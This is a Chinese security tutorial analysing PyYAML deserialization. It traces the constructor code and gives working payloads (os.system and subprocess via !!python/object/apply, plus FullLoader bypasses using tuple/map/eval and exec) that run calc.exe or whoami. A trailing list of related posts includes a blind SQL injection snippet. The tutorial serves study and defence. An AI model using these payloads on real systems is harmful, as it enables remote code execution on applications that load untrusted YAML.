PYYAML反序列化详解
前言
最近看了很多pyyaml反序列化的漏洞利用,但是对漏洞怎么来的,没有进行很详细的分析,所以今天刚好学习一下反序列化的原理
Yaml基本语法
-
一个 .yml 文件中可以有多份配置文件,用 --- 隔开即可 -
对大小写敏感 -
YAML 中的值,可使用 json 格式的数据 -
使用缩进表示层级关系 -
缩进时不允许使用 tab(\t),只允许使用空格。 -
缩进的空格数目不重要,只要相同层级的元素左侧对齐即可。 -
!! 表示强制类型装换 -
可以通过 & 来定义锚点,使用 * 来引用锚点。* 也可以和 << 配合,引用时会自动展开对象,类似 Python 的 **dict() -
YAML 支持的数据结构有三种 -
对象:键值对的集合 -
列表:一组按次序排列的值 -
标量(scalars):原子值(不可再拆分),例如 数字、日期等等 -
可以通过 !! 来进行类型转换
yaml版本<5.1

!!python/object标签
def construct_python_object_apply(self, suffix, node, newobj=False):# Format:# !!python/object/apply # (or !!python/object/new)# args: [ ... arguments ... ]# kwds: { ... keywords ... }# state: ... state ...# listitems: [ ... listitems ... ]# dictitems: { ... dictitems ... }# or short format:# !!python/object/apply [ ... arguments ... ]# The difference between !!python/object/apply and !!python/object/new# is how an object is created, check make_python_instance for details.if isinstance(node, SequenceNode):args = self.construct_sequence(node, deep=True)kwds = {}state = {}listitems = []dictitems = {}else:value = self.construct_mapping(node, deep=True)args = value.get('args', [])kwds = value.get('kwds', {})state = value.get('state', {})listitems = value.get('listitems', [])dictitems = value.get('dictitems', {})instance = self.make_python_instance(suffix, node, args, kwds, newobj)if state:self.set_python_instance_state(instance, state)if listitems:instance.extend(listitems)if dictitems:for key in dictitems:instance[key] = dictitems[key]return instancedef construct_python_object_new(self, suffix, node):return self.construct_python_object_apply(suffix, node, newobj=True)
它定义了两个方法 construct_python_object_apply 和 construct_python_object_new,用于解析特定的 YAML 标签 (!!python/object/apply 和 !!python/object/new) 并创建相应的 Python 对象。这两个标签允许用户通过 YAML 文件来实例化 Python 类,并传递参数、关键字参数、状态等信息。
!!python/object/new标签
def construct_python_object_new(self, suffix, node):return self.construct_python_object_apply(suffix, node, newobj=True)
!!python/object/apply标签
def construct_python_object_apply(self, suffix, node, newobj=False):# Format:# !!python/object/apply # (or !!python/object/new)# args: [ ... arguments ... ]# kwds: { ... keywords ... }# state: ... state ...# listitems: [ ... listitems ... ]# dictitems: { ... dictitems ... }# or short format:# !!python/object/apply [ ... arguments ... ]# The difference between !!python/object/apply and !!python/object/new# is how an object is created, check make_python_instance for details.if isinstance(node, SequenceNode):args = self.construct_sequence(node, deep=True)kwds = {}state = {}listitems = []dictitems = {}else:value = self.construct_mapping(node, deep=True)args = value.get('args', [])kwds = value.get('kwds', {})state = value.get('state', {})listitems = value.get('listitems', [])dictitems = value.get('dictitems', {})instance = self.make_python_instance(suffix, node, args, kwds, newobj)if state:self.set_python_instance_state(instance, state)if listitems:instance.extend(listitems)if dictitems:for key in dictitems:instance[key] = dictitems[key]return instance
!!python/object/new 和 !!python/object/apply 的实现非常相似,主要区别在于传递给 make_python_instance 函数的 newobj 参数。这个参数决定了对象创建的方式:使用类构造函数 (new 方法) 或者直接调用类 (init 方法)。
make_python_instance 函数是 PyYAML 库中用来根据提供的信息创建 Python 对象的核心部分。它会解析标签中的模块和类名,并尝试导入相应的 Python 模块和类,然后根据提供的参数来实例化这些类。如果允许执行任意的 Python 类实例化,那么就可以导致执行任意命令或代码。
跟进make_python_instance()

发现其中又调用了 find_python_name(),跟进一下

检查名称是否为空:如果 name 为空,则抛出 ConstructorError,提示需要非空的名称。解析模块名和对象名:如果 name 中包含点 (.),则使用 rsplit('.', 1) 将其拆分为模块名和对象名。如果 name 中不包含点,则默认模块名为 builtins,对象名为 name。导入模块:使用 __import__(module_name) 尝试导入指定的模块。如果导入失败(即抛出 ImportError),则抛出 ConstructorError,提供错误信息。获取模块实例:通过 sys.modules[module_name] 获取已导入模块的实例。检查模块中是否存在对象:使用 hasattr(module, object_name) 检查模块中是否存在指定的对象。如果不存在,则抛出 ConstructorError,提供错误信息。返回对象:使用 getattr(module, object_name) 获取并返回模块中的对象。
漏洞poc:
# poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]'
# poc = '!!python/object/apply:os.popen ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.run ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.call ["calc.exe"]'
# poc = '!!python/object/apply:subprocess.Popen ["calc.exe"]'
# poc = '!!python/object/apply:os.system ["calc.exe"]'# !!python/object/apply:os.system ["calc.exe"]
# !!python/object/new:os.system ["calc.exe"]
# !!python/object/new:subprocess.check_output [["calc.exe"]]
# !!python/object/apply:subprocess.check_output [["calc.exe"]]
分析反序列化是怎么进行的
首先会来到get_single_data 函数
def get_single_data(self):# Ensure that the stream contains a single document and construct it.node = self.get_single_node()if node is not None:return self.construct_document(node)return None
获取单个节点:self.get_single_node() 方法用于从输入流中获取一个单一的 YAML 节点。
检查节点:如果节点不为空,则调用 self.construct_document(node) 来构建文档。
返回结果:如果节点为空,则返回 None。
跟进construct_document 函数
def construct_document(self, node):data = self.construct_object(node)while self.state_generators:state_generators = self.state_generatorsself.state_generators = []for generator in state_generators:for dummy in generator:passself.constructed_objects = {}self.recursive_objects = {}self.deep_construct = Falsereturn data
构建对象:self.construct_object(node) 方法用于根据给定的节点构建 Python 对象。
处理状态生成器:通过 while 循环处理状态生成器(state_generators),这些生成器通常用于处理复杂的 YAML 结构。保存当前状态生成器:将当前的状态生成器保存到 state_generators 变量中,并清空 self.state_generators。遍历生成器:遍历每个生成器并执行相应的操作。
重置构造对象:重置一些内部状态变量:self.constructed_objects:存储已构造的对象。self.recursive_objects:存储递归对象。self.deep_construct:控制是否进行深度构造。
返回数据:最终返回构建好的数据。
跟进construct_object 函数
def construct_object(self, node, deep=False):if node in self.constructed_objects:return self.constructed_objects[node]if deep:old_deep = self.deep_constructself.deep_construct = Trueif node in self.recursive_objects:raise ConstructorError(None, None,"found unconstructable recursive node", node.start_mark)self.recursive_objects[node] = Noneconstructor = Nonetag_suffix = Noneif node.tag in self.yaml_constructors:constructor = self.yaml_constructors[node.tag]else:for tag_prefix in self.yaml_multi_constructors:if node.tag.startswith(tag_prefix):tag_suffix = node.tag[len(tag_prefix):]constructor = self.yaml_multi_constructors[tag_prefix]breakelse:if None in self.yaml_multi_constructors:tag_suffix = node.tagconstructor = self.yaml_multi_constructors[None]elif None in self.yaml_constructors:constructor = self.yaml_constructors[None]elif isinstance(node, ScalarNode):constructor = self.__class__.construct_scalarelif isinstance(node, SequenceNode):constructor = self.__class__.construct_sequenceelif isinstance(node, MappingNode):constructor = self.__class__.construct_mappingif tag_suffix is None:data = constructor(self, node)else:data = constructor(self, tag_suffix, node)if isinstance(data, types.GeneratorType):generator = datadata = next(generator)if self.deep_construct:for dummy in generator:passelse:self.state_generators.append(generator)self.constructed_objects[node] = datadel self.recursive_objects[node]if deep:self.deep_construct = old_deepreturn data
分析construct_object 函数
if node in self.constructed_objects:return self.constructed_objects[node]if deep:old_deep = self.deep_constructself.deep_construct = Trueif node in self.recursive_objects:raise ConstructorError(None, None,"found unconstructable recursive node", node.start_mark)self.recursive_objects[node] = Noneconstructor = Nonetag_suffix = None
这里进行了几个判断,跟一下可以看到是空的,所以会跳过,然后就进行了三次none赋值

for tag_prefix in self.yaml_multi_constructors:if node.tag.startswith(tag_prefix):tag_suffix = node.tag[len(tag_prefix):]constructor = self.yaml_multi_constructors[tag_prefix]
这一行代码是 construct_object 方法中用来匹配多构造器(multi-constructors)的关键部分。它遍历 self.yaml_multi_constructors 字典中的所有前缀,并检查当前节点的标签(node.tag)是否以这些前缀之一开头。如果找到匹配的前缀,它会分割标签并选择相应的构造函数来处理节点
if node.tag.startswith(tag_prefix):
node.tag 是当前 YAML 节点的标签。
startswith(tag_prefix) 方法用于检查 node.tag 是否以 tag_prefix 开头。
如果匹配成功,则进入条件块继续执行。
tag_suffix = node.tag[len(tag_prefix):]
len(tag_prefix) 计算前缀的长度。
node.tag[len(tag_prefix):] 从标签中去除前缀部分,剩下的就是 tag_suffix。
tag_suffix 将被用作后续构造函数调用的参数之一。
constructor = self.yaml_multi_constructors[tag_prefix]
根据匹配到的前缀,从 self.yaml_multi_constructors 中选择对应的构造函数。
constructor 变量现在指向这个构造函数,它将在后续步骤中被调用来处理节点。
示例:
!!python/object/apply:os.popen ["calc.exe"]
在这个例子中:
node.tag 的值为 tag:yaml.org,2002:python/object/apply
self.yaml_multi_constructors 包含一个条目,其键为 tag:yaml.org,2002:python/object/apply。
当循环遍历 self.yaml_multi_constructors 时,tag_prefix 会与 node.tag 匹配成功,因为 node.tag 确实以 tag:yaml.org,2002:python/object/apply 开头。
tag_suffix 会被设置为空字符串,因为标签完全匹配了前缀。
constructor 会被设置为处理 python/object/apply 类型对象的构造函数。

data = calc.exe 赋值给了 constructed_objects[node]
随后来到construct_python_object_apply 方法

construct_python_object_apply 方法是用于处理 !!python/object/apply 标签的
data = ‘calc.exe’ 是最终赋值给 constructed_objects[node] 的结果,我们可以推测以下步骤:
构造参数:如果节点是一个序列,那么 args 将被设置为 ['calc.exe']。如果节点是一个映射,那么 args 可能是从映射中提取的。创建实例:make_python_instance 方法将使用 args 来创建一个实例。在这个例子中,args 包含 'calc.exe'。
然后调用 make_python_instance 方法创建 os.popen 实例,并传递 ['calc.exe'] 作为参数。
最终,os.popen(“calc.exe”) 被执行,并且结果被存储到 constructed_objects[node] 中
接下来调用了 make_python_instance()

再到find_python_name方法

触发反序列化漏洞

调用栈:
construct_python_object_apply, constructor.py:606
construct_object, constructor.py:88
construct_document, constructor.py:41
get_single_data, constructor.py:37
load, __init__.py:72
版本=5.1

当版本变高后,之前的payload就执行不了了

从报错也可以很清晰的看出反序列化的调用链
PyYAML 5.1 版本引入了一个重要的安全更改,它改变了默认的加载器行为。在 PyYAML 5.1 之前的版本中,默认的 yaml.load() 使用的是不安全的加载器 (FullLoader),它可以解析所有 YAML 标签,包括那些可以执行任意 Python 代码的标签(如 !!python/object 和 !!python/name)。这虽然提供了强大的功能,但也带来了潜在的安全风险。
从 PyYAML 5.1 开始,默认的 yaml.load() 函数被更改为发出警告,并推荐使用安全的加载器来代替。为了提高安全性,如果你需要解析不受信任的输入,你应该使用 yaml.safe_load(),它只支持标准的 YAML 标签,而不会解析可能危险的 Python-specific 标签。如果你想保留旧的行为,你需要明确地指定 Loader=FullLoader 参数给 yaml.load() 函数。
因此,当你使用大于 5.1 的 PyYAML 版本时,如果你直接调用 yaml.load() 而没有指定 Loader 参数,并且你的 YAML 文件包含了复杂的 Python 对象或函数(例如 !!python/object/apply:os.popen),那么就会报错,因为默认情况下它现在使用的是安全加载器,该加载器无法解析这些标签。
当使用 yaml.load() 而不指定 Loader 参数时,默认行为现在是发出警告,并使用安全加载器。在安全模式下,PyYAML 对 Python 类实例的构造增加了额外的限制,即 make_python_instance 方法中的 if not (unsafe or isinstance(cls, type)) 检查。这意味着,在安全模式下,解析进来的 module.name 必须引用一个实际的类(例如内置类型如 int、str 等),而不是任意的对象或函数。
关于类加载器
BaseConstructor:仅加载最基本的YAML
SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)
FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。
UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
Constructor:等同于UnsafeConstructor
先来看在FullConstructor加载器
单纯引入模块:如果只是为了引入一个模块而不执行任何命令,那么这个模块必须存在于 sys.modules 字典中。这意味着只有已经加载到 Python 进程中的模块才能被引用。引入并执行模块:如果不仅需要引入模块,还需要执行某些操作(例如构造对象),那么这个模块也必须在 sys.modules 中,并且加载进来的 module.name 必须是一个类。也就是说,YAML 文件中指定的对象必须是一个实际的类,而不是任意的函数或可调用对象。
也就是说如果一个类满足在 FullConstructor 上下文中的 sys.modules 里,同时它还有一个类,那么这个类可以执行命令
遍历一下看看 builtins模块 下的所有方法
这里挑选出map来触发函数执行,tuple来将内容输出
这是我们需要执行的
tuple(map(eval, ["__import__('os').system('calc')"]))
拼接一下
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map- !!python/name:eval- ["__import__('os').system('calc')"]
""")
如果我们使用set的话,没有回显,

new 方法的工作原理
1.类的实例化:当你使用构造函数(如 tuple() 或 list())创建一个新对象时,Python 首先调用该类的 __new__ 方法。__new__ 负责分配内存并返回一个新的空对象实例。2.初始化:在 __new__ 返回新实例之后,Python 会调用 __init__ 方法来初始化这个实例。对于不可变类型(如 tuple),__init__ 通常不会做任何事情,因为在 __new__ 中已经完成了所有必要的初始化工作。
__new__方法 是一个在对象创建之前调用的静态方法,用于创建对象实例并返回该实例。它负责对象的创建过程,并接收类作为第一个参数(通常是cls),这通过这个方法后,我们的源代码其实就变成了tuple.new(tuple, map(eval,[‘import(“os”).system(“whoami”)’]))``list.new(list, map(eval, [‘import(“os”).system(“whoami”)’]))
在python的底层原理中,list 和 tuple 它们在内存中的存储方式有所不同:
列表(list)是一种可变类型,它的元素可以被修改。在内存中,列表是由一个数组来表示的,这个数组存储了元素的引用(指针)。当向列表中添加或删除元素时,列表会动态调整数组的大小以适应变化。
元组(tuple)是一种不可变类型,它的元素不可被修改。在内存中,元组是由固定长度的数组来表示的,数组中存储了元素的值。由于元组不可变,因此在创建时就确定了元素的数量和值,不能添加、删除或修改元素。
由于元组是不可变的,因此在创建元组时就需要提供元素。创建元组的过程涉及调用元组类的 new 方法来创建实例,并将元素作为参数传递给 new 方法,然后再调用 init 方法进行初始化。因此,元组的元素是在 new 和 init 阶段都得到了传递和处理的。
列表的创建过程也类似,但由于列表是可变的,因此在创建列表时不需要提供元素。列表的 new 方法会创建一个空的列表实例,
这就是为什么list方法没有回显的原因。为了避免这个问题,我们可以使用不可变类型的(frozenset、bytes、tuple)。
extend
在construct_python_object_apply 中如果存在listitems就会调用extend方法

exp = type("exp", (), {"extend": eval})
exp.extend("__import__('os').system('whoami')")
动态创建类:使用 type() 函数创建了一个名为 exp 的新类,该类有一个名为 extend 的属性,这个属性实际上是指向 Python 内置函数 eval 的引用。执行系统命令:调用 exp.extend() 方法时,实际上是调用了 eval 函数,并传入一个字符串作为参数。这个字符串是一个表达式,当它被 eval 解析和执行时,会导入 os 模块并调用 system 函数来执行 'whoami' 命令。(这里把extend视为eval来用)
所以可以构造
import yamlyaml.load("""
!!python/object/new:type
args:- exp- !!python/tuple []- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"""")
组合拳
import yamlpayload = """
- !!python/object/new:strargs: []state: !!python/tuple- "__import__('os').system('whoami')"- !!python/object/new:staticmethodargs: [0]state:update: !!python/name:exec
"""
yaml.load(payload)
参考文章
https://forum.butian.net/share/2288
https://blog.csdn.net/snowlyzz/article/details/130536626
相关文章:
PYYAML反序列化详解
前言 最近看了很多pyyaml反序列化的漏洞利用,但是对漏洞怎么来的,没有进行很详细的分析,所以今天刚好学习一下反序列化的原理 Yaml基本语法 一个 .yml 文件中可以有多份配置文件,用 --- 隔开即可对大小写敏感YAML 中的值&#x…...
【离散数学上机】T235,T236
T235题目:输入集合A和B,输出A到B上的所有单射函数。 问题描述 给定非空数字集合A和B,求出集合A到集合B上的所有单射函数。 输入格式 第一行输入m和n(空格间隔),分别为集合A和集合B中的元素个数;…...
LeeCode题库第十八题
项目场景: 给你一个由 n 个整数组成的数组 nums ,和一个目标值 target 。请你找出并返回满足下述全部条件且不重复的四元组 [nums[a], nums[b], nums[c], nums[d]] (若两个四元组元素一一对应,则认为两个四元组重复)&…...
Zookeeper 和 Redis 哪种更好?
目录 前言 : 什么是Zookeeper 和 Redis ? 1. 核心定位与功能 2. 关键差异点 (1) 一致性模型 (2) 性能 (3) 数据容量 (4) 高可用性 3. 适用场景 使用 Zookeeper 的场景 使用 Redis 的场景 4. 替代方案 5. 如何选择? 6. 常见误区 7. 总结 前言…...
Ubuntu 下 nginx-1.24.0 源码分析 - ngx_localtime 函数
ngx_localtime 函数 声明 在 src\os\unix\ngx_time.h 中: void ngx_localtime(time_t s, ngx_tm_t *tm); 定义 在 src/os/unix/ngx_time.c 中 void ngx_localtime(time_t s, ngx_tm_t *tm) { #if (NGX_HAVE_LOCALTIME_R)(void) localtime_r(&s, tm);#elsengx_tm…...
SpringBoot初始化8个常用方法
在 Spring Boot 中,初始化方法通常是在应用程序启动时被调用的,可以用来执行应用启动时的一些准备工作。以下是几种常见的初始化方法: 一、顺序 1. 图解 ┌─────────────────────────────┐│ Spring Boot…...
vue组件中各种类型之间的传值
在Vue CLI项目中,组件间的属性传值是一个常见的需求。以下是一些常用的传值方法和规范,以及相应的代码演示和解说: 一. 父组件向子组件传值(Props) 规范:父组件通过属性(props)向子…...
公然上线传销项目,Web3 的底线已经被无限突破
作者:Techub 热点速递 撰文:Yangz,Techub News 今天早些时候,OKX 将上线 PI 的消息在圈内引起轩然大波,对于上线被板上钉钉为传销盘子的「项目」 ,Techub News 联系了 OKX 公关,但对方拒绝置评…...
GitLab CI/CD 的配置详解:从零开始使用 .gitlab-ci.yml 文件
在现代软件开发中,CI/CD(持续集成与持续部署)已成为提高开发效率和代码质量的核心实践。GitLab CI/CD 提供了强大的功能,帮助开发者自动化构建、测试和部署应用程序。而 .gitlab-ci.yml 文件是 GitLab CI/CD 配置的关键所在&#…...
C语言第18节:自定义类型——联合和枚举
1. 联合体 C语言中的联合体(Union)是一种数据结构,它允许在同一内存位置存储不同类型的数据。不同于结构体(struct),结构体的成员各自占有独立的内存空间,而联合体的所有成员共享同一块内存区域…...
Python的元组和列表的区别是什么?
1. 定义和语法形式 列表(List):列表是一种可变的序列类型,使用方括号 [] 来定义。例如:my_list [1, 2, 3] 。列表中的元素可以是不同的数据类型,并且可以包含嵌套的列表、元组等其他数据结构。元组&#x…...
解锁网络安全:穿越数字世界的防护密码
个人主页:java之路-CSDN博客(期待您的关注) 目录 网络安全:数字时代的基石 网络安全面面观 (一)定义与范畴 (二)发展历程 网络安全面临的威胁 (一)恶意软件肆虐 (二…...
利用二分法+布尔盲注、时间盲注进行sql注入
一、布尔盲注: import requestsdef binary_search_character(url, query, index, low32, high127):while low < high:mid (low high 1) // 2payload f"1 AND ASCII(SUBSTRING(({query}),{index},1)) > {mid} -- "res {"id": payloa…...
GPT-SWARM和AgentVerse的拓扑结构和交互机制
GPT-SWARM和AgentVerse的拓扑结构和交互机制 拓扑结构区别 GPT-SWARM:采用图结构,将语言智能体系统描述为可优化的计算图。图中的每个节点代表一个操作,如语言模型推理或工具使用等特定功能,边则描述了操作之间的信息流,代表智能体之间的通信渠道。多个智能体连接形成的复…...
python爬虫解决无限debugger问题
方法一 关闭定时任务 关闭断点执行代码打开断点 # 无限debugger产生原因 # 1. web开发者工具打开 # 2. js代码中有debugger # 3. js有定时处理[推荐] for(let i0;i<99999;i){window.clearInterval(i)}方法二 关闭breakpoint 方法三 修改JS代码 使用fiddler,抓…...
使用rknn进行facenet部署
文章目录 开源仓库pth转onnxnetron可视化onnx转rknnC++实现开源仓库 https://github.com/bubbliiiing/facenet-pytorch pth转onnx 修改facenet网络的forward函数代码 修改前 def forward(self, x, mode = "predict"):if mode ==...
C# 两种方案实现调用 DeepSeek API
目录 序 开发运行环境 访问API的一个通用方法 原生官网实现 申请 API key 调用实现 调用示例 腾讯云知识引擎原子调用 申请 API key 调用示例 小结 序 DeepSeek(深度求索) 最近可谓火爆的一塌糊涂,具体的介绍这里不再赘述&#x…...
Linux下的进程切换与调度
目录 1.进程的优先级 优先级是什么 Linux下优先级的具体做法 优先级的调整为什么要受限 2.Linux下的进程切换 3.Linux下进程的调度 1.进程的优先级 我们在使用计算机的时候,通常会启动多个程序,这些程序最后都会变成进程,但是我们的硬…...
图神经网络是什么,有什么实际应用
图神经网络是什么 图神经网络(Graph Neural Network,GNN)是一种专门用于处理图结构数据的神经网络,它能对图中的节点、边和整个图进行学习和推理,在社交网络分析、生物信息学、推荐系统等领域应用广泛。以下是其原理及示例说明: 图神经网络原理 节点表示学习:为图中每…...
Debezium日常分享系列之:解码逻辑解码消息内容
Debezium日常分享系列之:解码逻辑解码消息内容 示例配置选项 DecodeLogicalDecodingMessageContent SMT将PostgreSQL逻辑解码消息的二进制内容转换为结构化形式。当Debezium PostgreSQL连接器捕获逻辑解码消息时,它会将消息事件记录发送到Kafka。默认情况…...
anolis os 8.9安装jenkins
一、系统版本 # cat /etc/anolis-release Anolis OS release 8.9 二、安装 # dnf install -y epel-release # wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo # rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.…...
java8、9新特性
JAVA8 Lambda 表达式 (parameters) -> expression 或 (parameters) ->{ statements; } 提供了一种更为简洁的语法,尤其适用于函数式接口。相比于传统的匿名内部类,Lambda 表达式使得代码更为紧凑,减少了样板代码的编写。 它允许将函…...
利用kali linux 进行自动化渗透测试
本方案旨在自动化创建渗透测试全流程 一、架构 1.智能信息收集体系 class IntelligentOSINT:def __init__(self, target):self.target targetself.intelligence_sources [OSINT_Platforms,DeepWeb_Crawlers, SocialMedia_Trackers,ML_Correlation_Engine]def advanced_col…...
Java基础知识总结(四十八)--TCP传输、TCP客户端、TCP服务端
**TCP传输:**两个端点的建立连接后会有一个传输数据的通道,这通道称为流,而且是建立在网络基础上的流,称之为socket流。该流中既有读取,也有写入。 **tcp的两个端点:**一个是客户端,一个是服务…...
【python】http.server内置库构建临时文件服务
需要从linux开发机上下载一个文件到本地,约700M比较大,通过sz命令下载较慢且传输过程不稳定连续失败,后采用下面方式解决。 cd到一个目录下执行python -m http.server port,port为服务的端口号: 启动后浏览器中访问…...
如何从0开始将vscode源码编译、运行、打包桌面APP
** 网上关于此的内容很少,今天第二次的完整运行了,按照下文的顺序走不会出什么问题。最重要的就是环境的安装,否则极其容易报错,请参考我的依赖版本以及文末附上的vscode官方指南 ** 第一步:克隆 VSCode 源码 首先…...
亚冬会绽放“云端”,联通云如何点亮冰城“科技之光”?
科技云报到原创。 35年前,中国第一次承办亚运会,宣传曲《亚洲雄风》红遍大江南北,其中有一句“我们亚洲,云也手握手”。如今回看,这句话仿佛有了更深的寓意:一朵朵科技铸就的“云”,把人和人连…...
网络安全ids是什么意思
1、 简述IPS和IDS的异同点; 入侵检测系统(IDS) IDS(Intrusion Detection Systems,入侵检测系统),专业上讲就是依照一定的安全策略,对网络、系统、运行状况进行监视,尽可能…...
ASP.NET Core程序的部署
发布 不能直接把bin/Debug部署到生产环境的服务器上,性能低。应该创建网站的发布版,用【发布】功能。两种部署模式:“框架依赖”和“独立”。独立模式选择目标操作系统和CPU类型。Windows、Linux、iOS;关于龙芯。 网站的运行 在…...
优选驾考小程序
第2章 系统分析 2.1系统使用相关技术分析 2.1.1Java语言介绍 Java语言是一种分布式的简单的 开发语言,有很好的特征,在安全方面、性能方面等。非常适合在Internet环境中使用,也是目前企业级运用中最常用的一个编程语言,具有很大…...
